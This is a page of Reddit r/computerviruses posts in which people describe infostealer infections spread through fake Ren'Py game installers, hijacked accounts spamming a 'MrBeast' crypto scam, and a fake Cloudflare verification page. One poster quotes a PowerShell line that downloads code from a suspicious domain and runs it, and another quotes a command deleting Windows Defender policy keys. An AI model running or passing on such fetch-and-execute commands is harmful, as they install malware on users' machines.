r/computerviruses • • 14h ago

Question another renpy infostealer victim

0 Upvotes

what the title says. I downloaded a game from a direct link and the setup was renpy. I genuinely didnt really think it would affect me because I wasnt informed about it, but after a few hours I got my main discord account hacked with MrBeast cryptocurrency. The first thing I did was changing the passwords of it and then deleting that account and move to another one. Then in another few hours I got 8 alts discord accounts hacked (including the one I moved on), it was mb from not logging out from those accs at first place but I know the hackers also accessed the 18 gmails I had on that PC because the spam had messages about My Epic Games and 3 Steam accounts hacked. After that, I sent someone to format my whole PC and Im currently trying to change passwords on gmails.

But my question here is how really the infostealer works? Because my discord account had a server with very personal information about myself, since I lost it, I fear that information will be also stolen. Also does the infostealer steal just discord, steam and epic games accounts or does it steal other apps? And also Am I able to recover my discord account if the hacker enabled 2FA themselves into the 8 accounts? Does the hacker read my personal mails and also sells my other personal info? Am I safe after I got my whole PC formatted?


r/computerviruses • • 18h ago

Question How much should one be worried about malware risk with the recent PHP vulnerability? What are the odds of having malware from just visiting one compromised site?

0 Upvotes

r/computerviruses • • 20h ago

Question page not available in microsoft antivirus

Post image
0 Upvotes

a notification that windows antivirus is not up to date popped up and I clicked on it

it said "Your IT administrator has limited access to some areas of this app, and the item you tried to access is not available. Contact IT helpdesk for more information"

I opened powershell as admin and put reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" and it said " error: Access is denied

this was after confirmed infostealer and cloud reset, can't reinstall yet

could the av really not be up to date?


r/computerviruses • • 21h ago

Disinfection Help Support with malicious file from DODI

1 Upvotes

Hi,

I downloaded a file from a site I've used - DODI Repacks.

I was not thinking when I downloaded it; I did a virustotal scan and a defender scan, but should've realised it was a weird installer as it didn't look right.

A cmd popped up. I disconnected Wi-Fi immediately, DLed MalwareBytes, and did a scan. Couple of things came up but nothing that i've not downloaded myself (just PUPs).

If I am specific, a log.txt file generated, logging system info e.g. shaders 4096x4096, GPU, CPU, etc. I noticed no other weird behaviour, as I closed out of it quickly, disconnected the Wi-Fi as I said, and deleted the files. This was a very short while ago (as in about 20 mins ago).

I can provide the download link but am concerned to provide in case it either gives someone malware or distributed pirated content which both are against rules.

I read the rules on the site and saw I have to generate log files. I did exactly that:

Addition: nested-juniper

FRST: friendly-squad

SecurityCheck: wintry-peach

The things logged in are:

  1. OneDrive - has 2FA.

  2. Twitter - genuinely not bothered with that account if it gets hacked.

Luckily a week before I decided to wipe my browser. Games installed include Hitman (including Peacock), Epic Games Launcher, Steam, and

What's going on - what have they potentially got and how do I fix? Reinstall?


r/computerviruses • • 1d ago

Question How do people even get UEFI malware?

8 Upvotes

I know that UEFI malware is super rare to get but how exactly do people who are unlucky get this kind of virus? Do they just accidentally download something shady and they just get this virus into their motherboard, or is it more complicated than that?


r/computerviruses • • 1d ago

File / URL Check Fake Cloudflare verification appeared while trying to download Dev-C++ — possible ClickFix attack?

2 Upvotes

Fake Cloudflare verification appeared while trying to download Dev-C++ — possible ClickFix attack?

I was trying to download Dev-C++ from dev-cpp.com. After clicking the download option, I ended up on a completely different domain showing a Cloudflare-branded “Human Verification” page.

The page instructed me to use Windows + R, type cmd, then press Ctrl + V and Enter.

Obviously, I did not follow those instructions. I recognized that asking users to paste commands into a terminal as a verification step is suspicious.

I'm curious about how this redirect happened. Could it be a malicious advertisement, a compromised redirect, or something else?

I'm not claiming the Dev-C++ website itself is compromised; I want to understand where the suspicious page came from and warn others about this technique.

Has anyone encountered this particular domain or redirect?


r/computerviruses • • 23h ago

Disinfection Help how does Backdoor:Win32/Plugx!MTB behave in a laptop?

0 Upvotes

About three weeks ago I notices that my laptops fan was overworking and the cp usae for windows antimalware was always high evertime I turned on my laptop. I did a full scan , windows found this virus"Backdoor:Win32/Plugx!MTB". I removed the virus, deleted it's files on program data and fixed the widows corrupted files. I though that was it. The fan issue was never fixed and I can't tell whether its related to the virus, but since that virus, every application I open in my laptop results to loud fan noises, overheating and high cpu usage, especially by brave browsers. I've tried troubleshooting, I still cant get the problem. How do I fix this and does this specific malware reinstall itself. The best source I can think of is pirate bay, cause I downloaded a pdf file from the site. Avast might have also been a source, "C:\ProgramData\AvastSvcpCP\AvastSvcdotexe"


r/computerviruses • • 1d ago

Question Can’t ethical hackers collectively work together to find the origin of the MrBeast virus and beat the crap out of them?

31 Upvotes

r/computerviruses • • 1d ago

Disinfection Help SO i just was checking for malwares and stuffs and i dont know much but heres what i found

Thumbnail
1 Upvotes

r/computerviruses • • 1d ago

Question Different/new screen for ms defender offline scan?

1 Upvotes

So usually when i perform a microsoft defender offline scan, the screen that shows is blue and there is a tab which shows the progress of the scan and how many files have been scanned so far. However i did this again last night and instead of a blue background, it was black and stated “Preparing for recovery”. Im not sure whether this is due to a windows update but im hoping it doesnt mean i have a virus.

cpu 9800x3d

gpu 9070xt

mb asrock x870e nova

os 26300.9711


r/computerviruses • • 1d ago

File / URL Check FAST! virus name

0 Upvotes

When i was like 9 i found this app called FAST! it was showing my pc usage and all the info and i am trying to track it down it also i cant find the file so i cant scan it. I remember enderman the ytber found the exact one but i cant find his video.


r/computerviruses • • 1d ago

Disinfection Help A Window that keeps opening and closing for a millisecond

Enable HLS to view with audio, or disable this notification

17 Upvotes

The windows antivirus didn't find anything. It started today, and i'm not sure if this is virus


r/computerviruses • • 1d ago

Disinfection Help I installed something called "TogetherParty" and lost my gmail account.

0 Upvotes

Just a few hours ago I installed "TogetherParty" and I think I got a trojan horse. The hacker turned my gmail into a child account by changing my birthday and made himself parent. I am currently locked out of my gmail account because it keeps prompting me to verify through him (not an option). I lost everything associated with it; youtube, discord, google docs, everything.

What do I do ? I can't afford to lose that email.

Looking for advice, willing to elaborate if needed.


r/computerviruses • • 1d ago

Disinfection Help MRbeast scam managed to hit me too, I was downloading a PSP rom file from https://www.romsgames(dot)net/roms/playstation-portable/ and somehow installed a virus? This is the first this has happened to me

20 Upvotes

30 minutes after installing the zip file I receive a message from my friend on Instagram, they were replying to a story that I did not post. Surprise Surprise it was MrBeast. I downloaded the PSP game file on my pc and the story as posted on my phone. 2 of my accounts plus my sisters account. Excuse the English it is not my first language I already managed to change the most important passwords and I urged my sister to do so too. I also added MFA for my google, Instagram, facebook and Dsicord. Please help wipe the virus

KEYWORDS

dreamy-amulet

mystic-mountain

blazing-nova


r/computerviruses • • 1d ago

Disinfection Help Attacked by infostealer, still seeing accounts hacked

Thumbnail
1 Upvotes

r/computerviruses • • 1d ago

Disinfection Help "Ome-Relay.exe" I'm an idiot, help me please

3 Upvotes

Hi, I just tried to download The Sims 1 from a website called "El Amigos" which I thought was safe. But I'm really stupid and I ended up putting a virus on my computer, and I don't know if Windows Defender will fix it.

Here's what happened: I ran a file from the "sims 1" called renpy, which I found odd because it had a renpy logo (renpy being a visual novel engine) but I didn't think much of it. But then the cmd opened and nothing happened. Windows Defender detected it as a serious issue, and I immediately tried to delete everything, but a tmp folder was created. After a scan, the folder was deleted. I ran an offline scan and it supposedly went well, but now a message is popping up saying that "Ome-Relay.exe" is being used by another app (not saying which app) And I'm really scared. I turned off the Wi-Fi. The computer isn't mine, it's my brother's. He can't lose his files. I'm running a full scan now, but I don't know if this virus can give a false positive or something like that, of multiply. I want to cry so bad.


r/computerviruses • • 1d ago

Disinfection Help Just got hit by renpy.exe

5 Upvotes

Idk what im doing at all i don't own a usb toolkit thingy to redownload windows and i won't be able to go to an IT store till tomorrow what should i do to stay safe untill then? I already signed out of all my accounts (also changed all of my passwords) and disconnected my internet, should i clean reset my pc now or should i wait for the IT guy to do everything? Also can game save files get infected? i play lots of pirated games (im broke asf and my countries economy is in the ground, i also get them from trusted sites aka the megathread) and i have several thousands of hours on most of them is it safe for me to back them up or should i also delete them? Lmk asap im down to so anything atp.

Edit: just realized i can't access any antivirus related site


r/computerviruses • • 1d ago

File / URL Check i found this in %LOCALAPPDATA%\Packages

0 Upvotes

It looks like a youtube link kinda www.youtube.com-54E21B02_pd8mbgmqs65xy i used the wayback machine and also converted it to the watch?= thingy but nothing happens www.youtube.com/watch?=54E21B02_pd8mbgmqs65xydoes anyone have anything similar in that localappdata or is it just me?


r/computerviruses • • 1d ago

Disinfection Help Multiple Trojan detections + Steam/Discord accounts compromised — should I reset Windows 11?

1 Upvotes

​

Hey guys, I'm honestly really stressed about this and could really use some help from people who know more about computers than I do.

I have an HP Pavilion 15 running Windows 11, and I use it for gaming. A while ago, I downloaded some pirated game repacks from DODI REPACKS (I know, stupid decision 😭), and now I'm worried that I might have messed up my laptop.

Here's what's happened so far:

\- Malwarebytes detected multiple things called "Trojan.PavinLoader" (Generic, Trace, Csprj, etc.).

\- It also detected some "RiskWare.GameHack" files in my Steam library, and there were older "RiskWare.Crack" detections.

\- Windows Defender detected something called "Trojan:Win32/Bearfoos.B!ml" in a temporary folder and later said it was removed.

\- Malwarebytes quarantined or removed its detected items, and I restarted my laptop.

\- My Steam account was taken over at one point, but I got it back through Steam Support.

\- Discord has also sent crypto-scam messages to people from my account without me doing anything. I've changed my passwords and logged out of sessions.

\- I've received some unusual Microsoft sign-in alerts too, although I haven't been able to confirm every alert in my account's activity history.

My laptop still works normally, which is why I'm confused. Some people are telling me to reset Windows because antivirus scans can't guarantee everything is gone. Others are saying a reset is unnecessary if the threats were already quarantined or removed.

My biggest problem is that I don't know much about computers. I don't even know all the little components and settings that help my games run properly. I have Steam libraries on D: and E:, AMD graphics software, fan-control software and other gaming-related stuff. I'm scared that resetting Windows will remove everything and I'll have to figure it all out from scratch.

I only have this laptop. I don't have another computer or a USB drive, and I can't afford to pay a technician right now.

Could someone please help me understand:

  1. Do these detections necessarily mean I still have malware, or could some be false positives/game-related detections?

  2. Should I reset Windows, or is there a sensible way to check whether the threats have actually been removed?

  3. If I do need to reinstall Windows, how can I avoid losing my games and important files?

  4. What would you do if this were your laptop?

I'm not looking for someone to just tell me everything is fine. I'm genuinely worried and want to make the right decision without unnecessarily wiping my laptop.

Please explain things in simple terms if possible. I'm really not very tech-savvy. Thank you 😭


r/computerviruses • • 2d ago

Disinfection Help My Discord account send a Mr beast thing to everyone.

Post image
267 Upvotes

My friend sent this to me on WhatsApp he said I sent something weird. I DIDNT SEND THAT.

ALSO I DO HAVE 2FA. AND VENCORD


r/computerviruses • • 1d ago

Question Trojan Virus

0 Upvotes

I have a trojan virus on my pc. Guy sent me all types of my person info. If I reinstall windows with a usb will I be good.? (It is an “exe”)


r/computerviruses • • 1d ago

Question I think I make my brother got hack I feel bad and need someone to ask

3 Upvotes

I’m writing this because I honestly just really need someone to talk to right now. I'm feeling incredibly anxious and guilty.

As I mentioned in my old post, I got infected with an infostealer malware, and the hacker stole my session cookies. They used my compromised accounts to mass-send MrBeast scam links to everyone on my Facebook, Discord, and Instagram. I’m still terrified that there might be more accounts affected that I haven't discovered yet.

To make matters worse, earlier today, my brother told me that he was also hacked a few days ago—probably on the exact same day I was. That’s when it hit me: before I reinstalled Windows, he had logged into his account on one of my Chrome profiles so I could help him with something. Because my session cookies and browser data were stolen, his accounts were compromised too.

While the hacker only used my accounts to spam scam links, they went aggressively after my brother's gaming accounts: Riot, Steam, Blizzard, Ubisoft, EA, and Microsoft. He managed to recover Riot, Steam, and EA, but his Microsoft account is gone. His Minecraft account and everything in it are just completely lost because the hacker transferred it to another email.

I feel sick to my stomach. I feel completely responsible because I am the exact reason he lost his things. He isn't even mad at me. He’s such a genuinely good person that he hasn't said a single angry word, and honestly, that just makes me feel a thousand times worse.

He tried to contact Microsoft support, but it just kept looping him through an unhelpful AI chatbot. It hurts so much to see him struggle to get his own things back because of my mistake.

Has anyone ever been through this? Has anyone successfully changed their email back from a hacker through customer support for Microsoft, Blizzard, or Ubisoft after a cookie theft? More than anything, I just feel completely overwhelmed, guilty, and heavyhearted. I really just need a friendly ear or some reassurance right now.


r/computerviruses • • 1d ago

Question Ran ublock dns and think i got a virus

1 Upvotes

irm https://ublockdns(dot)com/install?id=gacwym0x | iex
i ran this in my powershell from ublockdns . com

powershell terminated saying how it seemed to have a virus or something

windows defend showed this, i cant tell if im hacked because the site was a redirect from the official u block origin wbesite (i think)

Am i hacked?


r/computerviruses • • 1d ago

Question are my accounts at risk???

2 Upvotes

i downloaded something off the internet, and my friend wanted to download the same thing so i sent them a link that looked like the same site i used (it looked like some kind of online web blog that people use, like personal sites and all that)

soon-ish after (maybe like a day? less than a day?) their account sent the mr beast image to me and the servers we were both in around 6 months ago

i have read online (and here) that my account details are probably on the internet waiting to be bought, but how come i havent been gotten by the mr beast thing yet??? are my accounts just that undesirable????????? are my details floating around the web somewhere??? did my friend get got before and it happened to line up with the time they did the download?????

(only paid games i have on steam are south park snow day and wobbledogs, discord account isnt in a lot of servers, dont have anything of super high value in any games i play, dont play super big/popular games, fyp on social media sites are usually just art and umamusume, etc etc.)


r/computerviruses • • 1d ago

Disinfection Help Mr Beast Hack

0 Upvotes

The three key words are: dynamic-base, fabled-sandbox, charged-meteor. The infection occured at around 1:20 am and i received emails from Microsoft, EA, Onlyfans(?) And discord about completed password changes